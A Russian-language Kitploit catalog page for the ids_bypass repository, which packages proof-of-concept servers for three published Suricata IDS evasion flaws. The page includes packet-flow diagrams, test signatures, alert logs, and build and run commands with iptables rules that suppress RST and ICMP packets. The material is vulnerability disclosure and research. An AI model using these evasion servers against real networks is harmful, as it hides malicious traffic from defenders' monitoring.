Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ids_bypass — Трюки обхода IDS | Kitploit
Инструменты/GitHubGitHub/kirillwow/ids_bypass
ЭксплуатацияОбход IDS/IPSСетевая безопасностьОбучение и Образование
GitHubkirillwow/ids_bypass

ids_bypass

Трюки обхода IDS

Репозиторий
1212427 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Отказ от ответственности

Эти программы предназначены ТОЛЬКО для образовательных целей. Не используйте их без разрешения.

inject_server: Proof-Of-Concept для CVE-2018-6794.

Если на стороне сервера нарушить обычный порядок пакетов тройного рукопожатия TCP и внедрить некоторые ответные данные до завершения 3whs, то данные всё равно будут получены клиентом, но некоторые IDS-движки могут пропустить проверку содержимого.

root@kitploit:~
Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [SYN, ACK] [Seq=0 Ack=1]      <-  Evil Server     # Server responses as it should, but ...
Client    <-  [PSH, ACK] [Seq=1 Ack=1]      <-  Evil Server     # It sends HTTP response before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack=1]     <-  Evil Server     # Moreover it finishes TCP session 
Client    ->  [ACK] [Seq=1 Ack=84]          ->  Evil Server     # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client    ->  [PSH, ACK] [Seq=1 Ack= 4]     ->  Evil Server     # Then it sends a HTTP GET request as nothing wrong happened

Suricata IDS < 4.0.4 подвержен этой проблеме: сигнатуры HTTP или Stream-TCP не будут срабатывать на внедрённое содержимое. Мы не видим никаких срабатываний на вредоносные HTTP-ответы, если применить следующие сигнатуры к сетевому трафику PoC

root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

03/02/2018-11:08:13.012990  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
Скачать инструмент

rst_server: Proof-Of-Concept для CVE-2018-14568.

Клиенты Windows способны обрабатывать TCP-данные, даже если они поступили вскоре после TCP RST-пакета. Некоторые IDS обрабатывают это корректно и пытаются проверять данные после RST, но некоторые прекращают инспекцию TCP-потока после получения RST.

root@kitploit:~
Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [RST, ACK] [Seq=0x0 Ack=1]    <-  Evil Server     # Server responses with TCP RST
Client    <-  [SYN, ACK] [Seq=1 Ack=1]      <-  Evil Server     # And SYN-ACK shortly after RST
           ... 3whs continues ...

Suricata IDS всё ещё подвержен этой проблеме: сигнатуры HTTP или Stream-TCP не будут срабатывать на этот TCP-сеанс.

root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

05/03/2018-19:13:43.270632  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434

icmp_server: Proof-Of-Concept для CVE-2016-10728.

Сервер должен отвечать ICMP-сообщением типа "Destination Unreachable" с кодом "Port Unreachable", если UDP-пакет был отправлен на закрытый UDP-порт. IDS может интерпретировать ICMP-ответы Unreachable так же, как TCP RST-пакеты, и прекращать или ограничивать проверку трафика этого UDP-потока. Если после ICMP-сообщения следует обычный UDP-ответ, то атакующий обходит UDP-проверки трафика со своего сервера. Обратите внимание: обычные клиенты закрывают соединения, если получен ICMP Destination Unreachable, поэтому мы меняем местами IP-адреса и UDP-порты в прикреплённом к ICMP-сообщению UDP, чтобы клиент не принимал такое ICMP-сообщение, но IDS принимает.

root@kitploit:~
Client    ->  [UDP Req]                  ->  Evil Server     # Client starts UDP session by sending a packet 
Client    <-  [ICMP] [Type=3, Code=3]    <-  Evil Server     # Server responses with *improved* ICMP Destination Unreachable first
Client    <-  [UDP Resp]                 <-  Evil Server     # And with UDP answer as usual

Suricata IDS < 3.1.2 подвержен этой проблеме: UDP-сигнатуры не будут срабатывать на пакеты от Evil Server.

root@kitploit:~
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )

05/03/2018-03:44:11.016635  [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80

Эти методы могут быть применены к другим инструментам и системам обнаружения вторжений или мониторинга сети.

Автор и благодарности

Kirill Shipulin from Positive Technologies (@kirill_wow) Слайды с моего выступления на Hackfest 2018 доступны

Использование

root@kitploit:~
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80

alt PoC